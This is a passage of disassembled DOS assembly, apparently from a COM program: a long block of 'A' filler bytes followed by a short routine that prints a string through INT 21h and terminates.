		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
		db	'AAAAAAAAAAAAAAAA'
loc_63:
		mov	ah,9
		mov	dx,offset data_14	; (936E:0103=90h)
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		int	20h			; Program Terminate
  
seg_a		ends
  
  
  
		end	start
